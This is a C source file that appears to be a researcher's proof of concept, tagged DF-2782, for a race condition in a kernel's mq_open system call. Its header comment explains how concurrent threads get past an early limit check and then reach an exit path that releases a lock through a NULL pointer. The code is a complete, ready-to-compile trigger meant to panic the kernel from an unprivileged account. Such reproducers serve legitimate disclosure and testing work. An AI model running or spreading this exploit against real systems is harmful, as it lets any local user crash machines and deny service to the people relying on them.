DF-2782 / limit_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | /* * DF-2782 โ sys_mq_open() NULL-pointer lockmgr panic (race-gated limit path) * * sys/kern/sys_mqueue.c, sys_mq_open(): * :452 early per-process limit check (`== mq_open_max') โ happens BEFORE * mqlist_mtx is acquired; * :577 second, under-lock limit check โ only reached if the counter * changed between :452 and here; * :577-580 on failure: `error = EMFILE; goto exit;` * :595-596 exit: `lockmgr(&mq->mq_mtx, LK_RELEASE); ...` โ but in this * branch mqueue_lookup() returned NULL and `mq' was never assigned, * so the kernel calls lockmgr() on &((struct mqueue *)NULL)->mq_mtx * (~ address 0x100) => guaranteed page fault / panic. * * Trigger: one process with many threads. Park p_mqueue_cnt at 511, release * all threads simultaneously: at least two pass the early check at :452 while * the count is 511, the first opener increments to 512, the second hits the * check at :577 and panics the kernel via the NULL mq release. * * Impact: unprivileged local kernel panic (DoS), INVARIANTS-independent. * * cc -O2 -pthread -o limit_race limit_race.c * ./limit_race [rounds] */ #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #define NTHR 8 static long attr[4] = { 0, 1, 16, 0 }; static pthread_barrier_t bar; static volatile int go = 0; static int mqo(const char *name, int oflag) { return syscall(SYS_mq_open, name, oflag, 0600, attr); } static void * thr(void *arg) { long id = (long)arg; char name[64]; unsigned iter = 0; for (;;) { pthread_barrier_wait(&bar); while (go) { /* unique name every time: force the CREATE path so * both limit checks (:452 and :577) are exercised */ snprintf(name, sizeof(name), "/df2782_%ld_%u_%d", id, iter++, (int)getpid()); if (mqo(name, O_RDWR | O_CREAT) < 0) { if (errno == EMFILE) break; /* round over */ return NULL; } } pthread_barrier_wait(&bar); } return NULL; } int main(int argc, char **argv) { int rounds = (argc > 1) ? atoi(argv[1]) : 200; pthread_t t[NTHR]; char name[64]; int i, r, n; setvbuf(stdout, NULL, _IONBF, 0); printf("DF-2782: %d threads racing the mq_open limit " "(expect kernel panic at the :577 EMFILE path)\n", NTHR); pthread_barrier_init(&bar, NULL, NTHR + 1); for (i = 0; i < NTHR; i++) pthread_create(&t[i], NULL, thr, (void *)(intptr_t)i); for (r = 0; r < rounds; r++) { /* park the counter just below the limit: 511 opens */ for (n = 0; n < 511; n++) { snprintf(name, sizeof(name), "/df2782_seed_%d_%d", (int)getpid(), n); if (mqo(name, O_RDWR | O_CREAT) < 0) break; } /* release all threads at once: they race past :452 at 511 */ pthread_barrier_wait(&bar); go = 1; usleep(20000); go = 0; pthread_barrier_wait(&bar); printf("round %d survived (seeded %d)\n", r, n); /* close + unlink everything for the next round */ for (i = 0; i < 2048; i++) close(3 + i); for (i = 0; i < 1024; i++) { snprintf(name, sizeof(name), "/df2782_seed_%d_%d", (int)getpid(), i); syscall(SYS_mq_unlink, name); snprintf(name, sizeof(name), "/df2782_%ld_%d_%d", (long)(i % NTHR), i, (int)getpid()); syscall(SYS_mq_unlink, name); } } printf("DF-2782: survived %d rounds without the panic\n", rounds); return 1; } |